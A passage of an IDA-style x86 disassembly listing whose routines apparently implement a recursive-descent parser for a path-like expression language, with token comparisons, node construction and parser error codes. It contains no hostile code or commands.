		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B5FE63
		mov	eax, 80004005h
		jmp	short loc_69B5FED4
; ---------------------------------------------------------------------------


loc_69B5FE63:				; CODE XREF: sub_69B5FE43+17j
		push	0
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		and	dword ptr [ebp-4], 0
		push	1
		call	sub_69B5FB10
		mov	[ebp-2Ch], eax
		mov	ecx, [eax]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	dword ptr [ecx]
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]
		jmp	short loc_69B5FED4
; ---------------------------------------------------------------------------


loc_69B5FEA3:				; DATA XREF: .text:69B5FEE4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5FEAC:				; DATA XREF: .text:69B5FEE8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, esi


loc_69B5FED4:				; CODE XREF: sub_69B5FE43+1Ej
					; sub_69B5FE43+5Ej
		call	sub_69B1853C
		retn	8
sub_69B5FE43	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B5FEE0	dd 0FFFFFFFFh			dd offset loc_69B5FEA3
		dd offset loc_69B5FEAC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5FEEC	proc near		; CODE XREF: sub_69B60077+38p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+1Ch]
		push	edi
		mov	[ebp+var_4], eax
		call	sub_69B5EA61
		mov	eax, [esi+20h]
		xor	ebx, ebx
		cmp	eax, 2Eh
		jnz	short loc_69B5FF43
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_69B5FF1A
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		mov	edi, eax
		jmp	short loc_69B5FF3A
; ---------------------------------------------------------------------------


loc_69B5FF1A:				; CODE XREF: sub_69B5FEEC+23j
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	ebx
		push	eax
		push	[ebp+arg_4]
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		push	ebx
		call	sub_69B67CEB


loc_69B5FF2F:				; CODE XREF: sub_69B5FEEC+6Fj
		mov	edi, eax
		add	eax, 8
		neg	edi
		sbb	edi, edi
		and	edi, eax


loc_69B5FF3A:				; CODE XREF: sub_69B5FEEC+2Cj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		jmp	short loc_69B5FFAC
; ---------------------------------------------------------------------------


loc_69B5FF43:				; CODE XREF: sub_69B5FEEC+1Cj
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_69B5FF5D
		push	ebx
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	1
		push	ebx
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_69B68C7E
		jmp	short loc_69B5FF2F
; ---------------------------------------------------------------------------


loc_69B5FF5D:				; CODE XREF: sub_69B5FEEC+5Aj
		cmp	eax, 0FFFFFFFDh
		mov	ecx, esi
		jnz	short loc_69B5FF9F
		mov	eax, [esi]
		call	dword ptr [eax+44h]
		push	ebx
		push	1
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	sub_69B60160
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B5EADA
		test	al, al
		jz	short loc_69B5FFAC
		push	ebx
		push	ebx
		push	[ebp+var_4]
		push	edi
		call	sub_69B62F36
		push	ebx
		push	[ebp+arg_4]
		mov	ecx, esi
		push	eax
		call	sub_69B60077
		jmp	short loc_69B5FFAA
; ---------------------------------------------------------------------------


loc_69B5FF9F:				; CODE XREF: sub_69B5FEEC+76j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B5FCE2


loc_69B5FFAA:				; CODE XREF: sub_69B5FEEC+B1j
		mov	edi, eax


loc_69B5FFAC:				; CODE XREF: sub_69B5FEEC+55j
					; sub_69B5FEEC+98j
		cmp	edi, ebx
		jnz	short loc_69B5FFB7
		dec	dword ptr [esi+48h]
		xor	eax, eax
		jmp	short loc_69B5FFC8
; ---------------------------------------------------------------------------


loc_69B5FFB7:				; CODE XREF: sub_69B5FEEC+C2j
		push	[ebp+arg_4]
		mov	ecx, esi
		push	edi
		push	[ebp+arg_0]
		call	sub_69B5F3B7
		dec	dword ptr [esi+48h]


loc_69B5FFC8:				; CODE XREF: sub_69B5FEEC+C9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B5FEEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5FFCF	proc near		; CODE XREF: sub_69B5538B+2Ap

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		xor	ebx, ebx
		xor	eax, eax
		cmp	byte ptr [ebp+arg_8], bl
		push	esi
		setz	al
		push	ebx
		lea	ecx, [ebp+var_C]
		inc	eax
		push	eax
		call	sub_69B5EBCF
		push	[ebp+arg_8]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_1]
		push	eax
		push	[ebp+arg_4]
		call	sub_69B5EEC0
		test	al, al
		jz	short loc_69B6002F
		mov	al, [ebp+var_1]
		neg	al
		push	ebx
		push	[ebp+arg_C]
		sbb	eax, eax
		and	eax, 0Fh
		push	eax
		push	ebx
		push	[ebp+var_10]
		push	[ebp+var_14]
		push	[ebp+var_18]
		push	ebx
		call	sub_69B685B5
		mov	esi, eax
		add	eax, 10h
		neg	esi
		sbb	esi, esi
		and	esi, eax
		jmp	short loc_69B60051
; ---------------------------------------------------------------------------


loc_69B6002F:				; CODE XREF: sub_69B5FFCF+32j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_69B3D17C
		mov	edx, [eax]
		push	ebx
		push	4
		push	ebx
		push	[ebp+arg_4]
		mov	ecx, eax
		call	dword ptr [edx+38h]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+44h]
		mov	esi, eax


loc_69B60051:				; CODE XREF: sub_69B5FFCF+5Ej
		cmp	esi, ebx
		jz	short loc_69B60066
		cmp	[ebp+arg_0], ebx
		jz	short loc_69B60066
		mov	eax, [esi]
		push	ebx
		push	[ebp+arg_0]
		mov	ecx, esi
		push	ebx
		call	dword ptr [eax+48h]


loc_69B60066:				; CODE XREF: sub_69B5FFCF+84j
					; sub_69B5FFCF+89j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[eax+1Ch], ecx
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B5FFCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B60077	proc near		; CODE XREF: sub_69B5FEEC+ACp
					; sub_69B60077+A5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		call	sub_69B5EA61
		xor	ebx, ebx
		cmp	byte ptr [ebp+arg_8], bl
		jz	short loc_69B600A0
		mov	ecx, esi
		call	sub_69B5EADA
		test	al, al
		jz	short loc_69B600A0
		dec	dword ptr [esi+48h]
		xor	eax, eax
		jmp	loc_69B6015A
; ---------------------------------------------------------------------------


loc_69B600A0:				; CODE XREF: sub_69B60077+12j
					; sub_69B60077+1Dj
		mov	eax, [esi+1Ch]
		push	edi
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		mov	[ebp+var_4], eax
		call	sub_69B5FEEC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_69B60154
		push	ebx
		push	ebx
		push	[ebp+var_4]
		mov	ecx, esi
		push	edi
		call	sub_69B62F36
		cmp	dword ptr [esi+20h], 0FFFFFFFDh
		mov	[ebp+arg_0], eax
		jnz	short loc_69B60123
		cmp	byte ptr [ebp+arg_8], bl
		jz	short loc_69B600E0


loc_69B600D9:				; CODE XREF: sub_69B60077+B0j
					; sub_69B60077+C7j ...
		dec	dword ptr [esi+48h]
		mov	eax, edi
		jmp	short loc_69B60159
; ---------------------------------------------------------------------------


loc_69B600E0:				; CODE XREF: sub_69B60077+60j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, [esi+1Ch]
		push	ebx
		push	1
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		mov	[ebp+var_4], eax
		call	sub_69B60160
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B5EADA
		test	al, al
		jz	short loc_69B60123
		push	ebx
		push	ebx
		push	[ebp+var_4]
		push	edi
		call	sub_69B62F36
		push	ebx
		push	[ebp+arg_4]
		mov	ecx, esi
		push	eax
		call	sub_69B60077
		mov	edi, eax


loc_69B60123:				; CODE XREF: sub_69B60077+5Bj
					; sub_69B60077+91j
		cmp	dword ptr [esi+20h], 2Fh
		jnz	short loc_69B600D9
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		cmp	byte ptr [ebp+arg_8], bl
		jz	short loc_69B60140
		mov	ecx, esi
		call	sub_69B5EADA
		test	al, al
		jnz	short loc_69B600D9


loc_69B60140:				; CODE XREF: sub_69B60077+BCj
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B60077
		mov	edi, eax
		jmp	short loc_69B600D9
; ---------------------------------------------------------------------------


loc_69B60154:				; CODE XREF: sub_69B60077+41j
		dec	dword ptr [esi+48h]
		xor	eax, eax


loc_69B60159:				; CODE XREF: sub_69B60077+67j
		pop	edi


loc_69B6015A:				; CODE XREF: sub_69B60077+24j
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B60077	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B60160	proc near		; CODE XREF: sub_69B5FEEC+88p
					; sub_69B60077+81p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+1Ch]
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_C], 0
		mov	[ebp+var_4], eax
		jz	short loc_69B601D2
		push	0FFFFFFB2h
		push	[ebp+arg_4]
		push	edi
		call	sub_69B5FB27
		cmp	dword ptr [esi+20h], 5Bh
		mov	edi, eax
		jnz	short loc_69B601C5
		push	[ebp+arg_8]
		xor	eax, eax
		mov	al, [esi+0Ch]
		mov	ecx, edi
		push	eax
		push	[ebp+arg_4]
		mov	eax, [edi]
		call	dword ptr [eax+44h]
		push	eax
		push	[ebp+arg_0]
		call	sub_69B69232
		push	[ebp+arg_4]
		mov	ecx, eax
		add	eax, 10h
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		push	eax
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B5F3B7
		jmp	short loc_69B6022A
; ---------------------------------------------------------------------------


loc_69B601C5:				; CODE XREF: sub_69B60160+27j
		test	edi, edi
		jz	short loc_69B601D2
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		jmp	short loc_69B601D4
; ---------------------------------------------------------------------------


loc_69B601D2:				; CODE XREF: sub_69B60160+14j
					; sub_69B60160+67j
		xor	eax, eax


loc_69B601D4:				; CODE XREF: sub_69B60160+70j
		push	1
		push	[ebp+arg_4]
		mov	ecx, esi
		push	eax
		call	sub_69B60077
		test	eax, eax
		jz	short loc_69B601F6
		push	0
		push	2
		push	[ebp+var_4]
		mov	ecx, esi
		push	eax
		call	sub_69B6296C
		jmp	short loc_69B60205
; ---------------------------------------------------------------------------


loc_69B601F6:				; CODE XREF: sub_69B60160+83j
		test	edi, edi
		jz	short loc_69B60203
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		jmp	short loc_69B60205
; ---------------------------------------------------------------------------


loc_69B60203:				; CODE XREF: sub_69B60160+98j
		xor	eax, eax


loc_69B60205:				; CODE XREF: sub_69B60160+94j
					; sub_69B60160+A1j
		push	[ebp+arg_8]
		xor	ecx, ecx
		mov	cl, [esi+0Ch]
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_69B69232
		mov	ecx, eax
		add	eax, 10h
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]


loc_69B6022A:				; CODE XREF: sub_69B60160+63j
		pop	edi
		pop	esi
		leave
		retn	10h
sub_69B60160	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B60230	proc near		; CODE XREF: sub_69B5FCE2+26p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		mov	edi, ecx
		mov	eax, [edi+20h]
		cmp	eax, 0FFFFFFBBh
		jz	short loc_69B6026A
		cmp	eax, 0FFFFFFBCh
		jz	short loc_69B6026A
		cmp	eax, 0FFFFFFBEh
		jz	short loc_69B6026A
		cmp	eax, 0FFFFFFBDh
		jz	short loc_69B6026A
		cmp	eax, 0FFFFFFBAh
		jz	short loc_69B6026A
		cmp	eax, 0FFFFFFB9h
		jz	short loc_69B6026A
		cmp	eax, 0FFFFFFB2h
		jz	short loc_69B6026A
		cmp	eax, 0FFFFFFB5h
		jz	short loc_69B6026A
		xor	eax, eax
		jmp	loc_69B60383
; ---------------------------------------------------------------------------


loc_69B6026A:				; CODE XREF: sub_69B60230+Ej
					; sub_69B60230+13j ...
		push	ebx
		push	esi
		mov	esi, [edi+1Ch]
		mov	[ebp+var_4], eax
		mov	eax, [edi]
		mov	ecx, edi
		mov	[ebp+var_8], esi
		call	dword ptr [eax+44h]
		push	0FFFFFFB1h
		mov	ecx, edi
		call	sub_69B5EB78
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		mov	eax, [edi+20h]
		xor	ebx, ebx
		cmp	eax, 0FFFFFFFCh
		jz	short loc_69B602AA
		cmp	eax, 2Ah
		jz	short loc_69B602AA
		push	ebx
		push	ebx
		push	esi
		push	0C00CE600h
		mov	ecx, edi
		call	sub_69B62488


loc_69B602AA:				; CODE XREF: sub_69B60230+64j
					; sub_69B60230+69j
		mov	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFB5h
		jz	loc_69B6034D
		cmp	eax, 0FFFFFFB9h
		jz	loc_69B60347
		cmp	eax, 0FFFFFFBAh
		jz	short loc_69B60333
		cmp	eax, 0FFFFFFBDh
		mov	ecx, edi
		jz	short loc_69B6030C
		cmp	eax, 0FFFFFFBEh
		jz	short loc_69B602FC
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B5FB27
		mov	esi, eax
		cmp	esi, ebx
		jnz	loc_69B6037F
		push	ebx
		push	ebx
		push	[ebp+var_8]
		mov	ecx, edi
		push	0C00CE607h
		call	sub_69B62488
		jmp	loc_69B6037F
; ---------------------------------------------------------------------------


loc_69B602FC:				; CODE XREF: sub_69B60230+9Ej
		push	0FFFFFFB2h
		push	[ebp+arg_4]
		push	ebx
		call	sub_69B5FB27
		push	ebx
		push	ebx
		push	ebx
		jmp	short loc_69B6031B
; ---------------------------------------------------------------------------


loc_69B6030C:				; CODE XREF: sub_69B60230+99j
		push	0FFFFFFB2h
		push	[ebp+arg_4]
		push	ebx
		call	sub_69B5FB27
		push	ebx
		push	ebx
		push	1


loc_69B6031B:				; CODE XREF: sub_69B60230+DAj
		mov	ecx, [edi+1Ch]
		mov	esi, eax
		xor	eax, eax
		mov	al, [edi+0Ch]
		push	eax
		push	ebx
		push	ebx
		push	ecx
		push	esi
		mov	ecx, edi
		call	sub_69B62F36
		jmp	short loc_69B6036B
; ---------------------------------------------------------------------------


loc_69B60333:				; CODE XREF: sub_69B60230+92j
		push	1
		push	ebx


loc_69B60336:				; CODE XREF: sub_69B60230+11Bj
		push	[ebp+arg_4]
		mov	ecx, edi
		push	[ebp+arg_0]
		call	sub_69B60160
		mov	esi, eax
		jmp	short loc_69B6037F
; ---------------------------------------------------------------------------


loc_69B60347:				; CODE XREF: sub_69B60230+89j
		push	1
		push	1
		jmp	short loc_69B60336
; ---------------------------------------------------------------------------


loc_69B6034D:				; CODE XREF: sub_69B60230+80j
		push	0FFFFFFB2h
		push	[ebp+arg_4]
		mov	ecx, edi
		push	ebx
		call	sub_69B5FB27
		mov	edx, [eax]
		xor	ecx, ecx
		mov	cl, [edi+0Ch]
		push	ebx
		push	1
		push	ebx
		push	ecx
		mov	ecx, eax
		call	dword ptr [edx+44h]


loc_69B6036B:				; CODE XREF: sub_69B60230+101j
		push	eax
		push	[ebp+arg_0]
		call	sub_69B68C7E
		mov	esi, eax
		add	eax, 8
		neg	esi
		sbb	esi, esi
		and	esi, eax


loc_69B6037F:				; CODE XREF: sub_69B60230+B0j
					; sub_69B60230+C7j ...
		mov	eax, esi
		pop	esi
		pop	ebx


loc_69B60383:				; CODE XREF: sub_69B60230+35j
		pop	edi
		leave
		retn	8
sub_69B60230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B60388	proc near		; CODE XREF: sub_69B6048B+45p
					; sub_69B6048B+D5p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+1Ch]
		push	edi
		mov	[ebp+var_4], eax
		call	sub_69B5EA61
		mov	eax, [esi+20h]
		cmp	eax, 2Fh
		jnz	short loc_69B603F9
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	eax
		call	sub_69B6934C
		mov	edi, eax
		add	eax, 10h
		neg	edi
		sbb	edi, edi
		and	edi, eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+5Ch]
		mov	[ebp+arg_0], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		xor	ebx, ebx
		cmp	[esi+20h], ebx
		jnz	short loc_69B603DA
		mov	eax, [ebp+arg_0]
		jmp	loc_69B60481
; ---------------------------------------------------------------------------


loc_69B603DA:				; CODE XREF: sub_69B60388+48j
		push	ebx
		push	[ebp+arg_4]
		mov	ecx, esi
		push	edi
		call	sub_69B60077
		dec	dword ptr [esi+48h]
		cmp	eax, ebx
		jnz	loc_69B60484
		mov	eax, [ebp+arg_0]
		jmp	loc_69B60484
; ---------------------------------------------------------------------------


loc_69B603F9:				; CODE XREF: sub_69B60388+1Aj
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_69B60472
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	eax
		call	sub_69B6934C
		mov	edi, eax
		add	eax, 10h
		neg	edi
		sbb	edi, edi
		and	edi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, [esi+20h]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_69B60429
		cmp	eax, 7Ch
		jnz	short loc_69B6043A


loc_69B60429:				; CODE XREF: sub_69B60388+9Aj
		push	ebx
		push	ebx
		push	[ebp+var_4]
		mov	ecx, esi
		push	0C00CE60Dh
		call	sub_69B62488


loc_69B6043A:				; CODE XREF: sub_69B60388+9Fj
		push	ebx
		push	1
		push	[ebp+arg_4]
		mov	ecx, esi
		push	edi
		call	sub_69B60160
		mov	ecx, esi
		mov	edx, eax
		call	sub_69B5EADA
		test	al, al
		jz	short loc_69B6046E
		push	ebx
		push	ebx
		push	[ebp+var_4]
		push	edx
		call	sub_69B62F36
		push	ebx
		push	[ebp+arg_4]
		mov	ecx, esi
		push	eax
		call	sub_69B60077
		mov	edx, eax


loc_69B6046E:				; CODE XREF: sub_69B60388+CBj
		mov	eax, edx
		jmp	short loc_69B60481
; ---------------------------------------------------------------------------


loc_69B60472:				; CODE XREF: sub_69B60388+74j
		push	0
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	sub_69B60077


loc_69B60481:				; CODE XREF: sub_69B60388+4Dj
					; sub_69B60388+E8j
		dec	dword ptr [esi+48h]


loc_69B60484:				; CODE XREF: sub_69B60388+63j
					; sub_69B60388+6Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B60388	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6048B	proc near		; CODE XREF: sub_69B6056F+1Bp
					; sub_69B6056F+7Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, ecx
		call	sub_69B5EA61
		cmp	word ptr [esi+0Eh], 28h
		mov	ebx, [esi+1Ch]
		jnz	short loc_69B604B2
		cmp	dword ptr [esi+20h], 0FFFFFFFCh
		jnz	short loc_69B604B2
		mov	ecx, esi
		call	sub_69B5ED81
		test	al, al
		jnz	short loc_69B604DA


loc_69B604B2:				; CODE XREF: sub_69B6048B+14j
					; sub_69B6048B+1Aj
		mov	eax, [esi+20h]
		cmp	eax, 24h
		jz	short loc_69B604DA
		cmp	eax, 28h
		jz	short loc_69B604DA
		cmp	eax, 0FFFFFFFAh
		jz	short loc_69B604DA
		cmp	eax, 0FFFFFFFBh
		jz	short loc_69B604DA
		push	[ebp+arg_4]
		mov	ecx, esi
		push	0
		call	sub_69B60388
		jmp	loc_69B60566
; ---------------------------------------------------------------------------


loc_69B604DA:				; CODE XREF: sub_69B6048B+25j
					; sub_69B6048B+2Dj ...
		push	edi
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	sub_69B5FD60
		mov	ecx, [esi+20h]
		cmp	ecx, 0FFFFFFFDh
		jz	short loc_69B60519
		cmp	ecx, 2Fh
		jnz	short loc_69B60565
		xor	edi, edi
		push	edi
		push	edi
		push	ebx
		push	eax
		mov	ecx, esi
		call	sub_69B62F36
		mov	ebx, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	edi
		push	[ebp+arg_4]
		mov	ecx, esi
		push	ebx
		call	sub_69B60077
		jmp	short loc_69B60565
; ---------------------------------------------------------------------------


loc_69B60519:				; CODE XREF: sub_69B6048B+63j
		xor	edi, edi
		push	edi
		push	edi
		push	ebx
		push	eax
		mov	ecx, esi
		call	sub_69B62F36
		xor	ecx, ecx
		mov	cl, [esi+0Ch]
		push	1
		push	ecx
		push	[ebp+arg_4]
		push	edi
		push	eax
		call	sub_69B69232
		mov	ebx, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, [esi+1Ch]
		push	edi
		push	edi
		push	eax
		mov	eax, ebx
		add	ebx, 8
		neg	eax
		sbb	eax, eax
		and	eax, ebx
		push	eax
		mov	ecx, esi
		call	sub_69B62F36
		push	[ebp+arg_4]
		mov	ecx, esi
		push	eax
		call	sub_69B60388


loc_69B60565:				; CODE XREF: sub_69B6048B+68j
					; sub_69B6048B+8Cj
		pop	edi


loc_69B60566:				; CODE XREF: sub_69B6048B+4Aj
		dec	dword ptr [esi+48h]
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_69B6048B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6056F	proc near		; CODE XREF: sub_69B60622+27p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_69B5EA61
		push	[ebp+arg_4]
		mov	eax, [esi+1Ch]
		push	[ebp+arg_0]
		mov	ecx, esi
		mov	[ebp+var_4], eax
		call	sub_69B6048B
		cmp	dword ptr [esi+20h], 7Ch
		mov	[ebp+var_8], eax
		jnz	short loc_69B60617
		push	edi
		mov	edi, 82h
		push	ebx


loc_69B6059F:				; CODE XREF: sub_69B6056F+A4j
		test	byte ptr [esi+54h], 1
		jz	short loc_69B605AB
		cmp	dword ptr [esi+50h], 1
		jle	short loc_69B60615


loc_69B605AB:				; CODE XREF: sub_69B6056F+34j
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	eax
		push	1
		push	0
		call	sub_69B699F2
		push	0
		push	edi
		push	[ebp+var_4]
		mov	ecx, esi
		push	[ebp+var_8]
		mov	ebx, eax
		call	sub_69B6296C
		push	eax
		mov	ecx, ebx
		call	sub_69B6969A
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	[ebp+arg_4]
		mov	eax, [esi+1Ch]
		push	[ebp+arg_0]
		mov	ecx, esi
		mov	[ebp+var_4], eax
		call	sub_69B6048B
		push	0
		push	edi
		push	[ebp+var_4]
		mov	ecx, esi
		push	eax
		call	sub_69B6296C
		push	eax
		mov	ecx, ebx
		call	sub_69B6969A
		lea	ecx, [ebx+10h]
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		cmp	dword ptr [esi+20h], 7Ch
		mov	[ebp+var_8], eax
		jz	short loc_69B6059F


loc_69B60615:				; CODE XREF: sub_69B6056F+3Aj
		pop	ebx
		pop	edi


loc_69B60617:				; CODE XREF: sub_69B6056F+27j
		dec	dword ptr [esi+48h]
		mov	eax, [ebp+var_8]
		pop	esi
		leave
		retn	8
sub_69B6056F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B60622	proc near		; CODE XREF: sub_69B60689+1Ap
					; sub_69B60689+B0p

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+20h], 2Dh
		push	edi
		mov	[ebp+var_1], 0
		jnz	short loc_69B6063E
		mov	eax, [esi]
		mov	[ebp+var_1], 1
		call	dword ptr [eax+44h]


loc_69B6063E:				; CODE XREF: sub_69B60622+11j
		push	[ebp+arg_4]
		mov	edi, [esi+1Ch]
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B6056F
		cmp	[ebp+var_1], 0
		mov	ebx, eax
		jz	short loc_69B60680
		test	ebx, ebx
		jnz	short loc_69B60669
		push	eax
		push	eax
		push	edi
		push	0C00CE603h
		mov	ecx, esi
		call	sub_69B62488


loc_69B60669:				; CODE XREF: sub_69B60622+36j
		push	0
		push	ebx
		push	3
		call	sub_69B69D37
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	ebx, ecx


loc_69B60680:				; CODE XREF: sub_69B60622+32j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn	8
sub_69B60622	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B60689	proc near		; CODE XREF: sub_69B60781+1Ap
					; sub_69B60781+64p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B5EA61
		push	[ebp+arg_4]
		mov	ebx, [esi+1Ch]
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B60622
		xor	edx, edx
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx


loc_69B606B0:				; CODE XREF: sub_69B60689+88j
					; sub_69B60689+E6j
		mov	ecx, [esi+20h]
		cmp	ecx, 2Ah
		jz	short loc_69B606D8
		cmp	ecx, 0FFFFFFFCh
		jnz	loc_69B60774
		mov	eax, [esi+30h]
		cmp	eax, dword_69B9B2A0
		jz	short loc_69B606D8
		cmp	eax, dword_69B9B2A8
		jnz	loc_69B60774


loc_69B606D8:				; CODE XREF: sub_69B60689+2Dj
					; sub_69B60689+41j
		cmp	ecx, 0FFFFFFFCh
		jz	short loc_69B606EB
		cmp	ecx, 2Ah
		jnz	short loc_69B6070E
		mov	[ebp+var_4], 6
		jmp	short loc_69B60713
; ---------------------------------------------------------------------------


loc_69B606EB:				; CODE XREF: sub_69B60689+52j
		mov	eax, [esi+30h]
		cmp	eax, dword_69B9B2A0
		jnz	short loc_69B606FF
		mov	[ebp+var_4], 5
		jmp	short loc_69B60713
; ---------------------------------------------------------------------------


loc_69B606FF:				; CODE XREF: sub_69B60689+6Bj
		cmp	eax, dword_69B9B2A8
		jnz	short loc_69B6070E
		mov	[ebp+var_4], 4


loc_69B6070E:				; CODE XREF: sub_69B60689+57j
					; sub_69B60689+7Cj
		cmp	[ebp+var_4], edx
